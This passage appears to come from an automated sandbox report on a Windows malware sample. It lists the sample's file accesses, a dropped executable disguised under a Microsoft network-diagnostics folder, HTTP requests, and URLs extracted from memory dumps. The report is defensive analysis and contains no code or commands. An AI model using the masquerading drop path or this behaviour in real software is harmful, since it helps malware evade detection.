"C:\VCRUNTIME140.DLL" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL"47:T9f5,"powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\POWERSHELL.EXE.LOG" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\POWERSHELL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\STARTUPPROFILEDATA-NONINTERACTIVE" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\config\systemprofile\DOCUMENTS" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\config\systemprofile\Documents" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\WINDOWSAPPS" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\MODULES" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\Modules" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1"48:T4ee,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" writes file "c:\programdata\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" writes file "c:\programdata\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe:zone.identifier" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" writes file "%allusersprofile%\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe:zone.identifier" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" writes file "%allusersprofile%\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe" "powershell.exe" writes file "c:\windows\temp\__psscriptpolicytest_03ih1w12.vke.ps1" "powershell.exe" writes file "c:\windows\temp\__psscriptpolicytest_hpfjq3cb.cyy.psm1" "powershell.exe" writes file "c:\windows\system32\config\systemprofile\appdata\local\microsoft\windows\powershell\moduleanalysiscache" "powershell.exe" writes file "c:\windows\system32\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\windows\system32\config\systemprofile\appdata\local\microsoft\clr_v4.0\usagelogs\powershell.exe.log" "powershell.exe" writes file "%windir%\temp\__psscriptpolicytest_03ih1w12.vke.ps1"49:T503,Found http requests in header "POST /" Found http requests in header "GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent=" Found http requests in header "GET /sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent=" Found http requests in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D" Found http requests in header "GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D" Found http requests in header "GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D" Found http requests in header "GET /setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent="4a:Taee,"2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "1.0.0.0" found in string "sion=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.15" "2.5.29.14" "2.5.29.31" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.32" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.17" "2.5.4.8" "2.5.4.7" "2.5.4.6" "2.5.4.11" "2.5.4.5" "2.5.4.10" "2.5.29.16" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture`*" Potential IP "1.0.0.1" found in string "??\C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1" Potential IP "4.0.0.0" found in string "=4.0.0.0, Cultur" Potential IP "1.0.0.0" found in string "anagement.Infrastructure,1.0.0.0,,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "#n=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "1.0.0.0" found in string ":\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.Powershell.LocalAccounts.dll" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Security.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "1.0.0.0" found in string ":\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0" Potential IP "1.0.0.0" found in string "owerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\LocalAccounts.format.ps1xml" Potential IP "1.0.0.0" found in string "owershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\localaccounts.format.ps1xml" Potential IP "1.0.0.0" found in string "shell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\localaccounts.format.ps1xml" Potential IP "1.0.0.0" found in string "C:/WINDOWS/system32/WindowsPowerShell/v1.0/Modules/Microsoft.PowerShell.LocalAccounts/1.0.0.0/Microsoft.Powershell.LocalAccounts.dll" Potential IP "4.0.0.0" found in string "ystem.Configuration.Install,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "1.0.0.0" found in string "soft.PowerShell.LocalAccounts/1.0.0.0/" Potential IP "1.0.0.0" found in string "ile:///C:/WINDOWS/system32/WindowsPowerShell/v1.0/Modules/Microsoft.PowerShell.LocalAccounts/1.0.0.0/Microsoft.Powershell.LocalAccounts.dll" Potential IP "1.0.0.0" found in string "C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.Powershell.LocalAccounts.dll" Potential IP "1.0.0.0" found in string "odules/Microsoft.PowerShell.LocalAccounts/1.0.0.0/Microsoft.Powershell.LocalAccounts.dll" "11.10.3.6"4b:T7455,Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm060402&http://ocsp.omniroot.com/baltimoreroot0;09071http://cdp1.public-trust.com/crl/omniroot2025.crl0&+;fbo&e" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0m&5upqt4ja^" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mic*'t2011_201n8j(" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lq*iq=ct8?%ory08>=i@iqoz" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsa+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/m)anl9_nl1" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00002720.00000000.178880.E91D0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000000.178880.E91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mic" - Source: "00000000-00002720.00000000.178880.E91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000000.178880.E91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4s9_>" - Source: "00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm060402&http://ocsp.omniroot.com/baltimoreroot0;09071http://cdp1.public-trust.com/crl/omniroot2025.crl0&+;fbo&e" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0m&5upqt4ja^" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mic*'t2011_201n8j(" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lq*iq=ct8?%ory08>=i@iqoz" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsanonymously" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsa+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/m)anl9_nl1" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.179099.E8BC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0," - Source: "00000000-00002720.00000001.179099.E8BC0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000001.179099.E91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miwashington1redmond1microsoft" - Source: "00000000-00002720.00000001.179099.E91D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0(vyvwashington1redmond1microsoft" - Source: "00000000-00002720.00000001.179099.E91FE000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002720.00000001.179099.E91FE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.179099.E91FE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" - Source: "00000000-00002720.00000001.179099.E91FE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://crl.washington1redmond1microsoft" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0(vyvhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0," - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-" - Source: "00000000-00002720.00000001.179099.E92D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004180.00000000.176581.E6A70000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005432.00000000.177377.7B8C2000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005432.00000000.177377.F41D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00005432.00000000.177377.F41D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0m&5upqt4ja^" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm060402&http://ocsp.omniroot.com/baltimoreroot0;09071http://cdp1.public-trust.com/crl/omniroot2025.crl0&+;fbo&e" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0decd1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3ficanew" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lstartcom" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005432.00000000.177377.F50A0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\policies\microsoft\windows" - Source: "00000000-00005432.00000000.177377.F5700000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005432.00000000.177377.F5700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005432.00000000.177377.F5700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005432.00000000.177377.F5700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005432.00000001.178554.F4280000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00005432.00000001.178554.F4280000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0m&5upqt4ja^" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm060402&http://ocsp.omniroot.com/baltimoreroot0;09071http://cdp1.public-trust.com/crl/omniroot2025.crl0&+;fbo&e" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0decd1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3ficanew" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lstartcom" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005432.00000001.178554.F50B5000.00000004.mdmp") Found URL 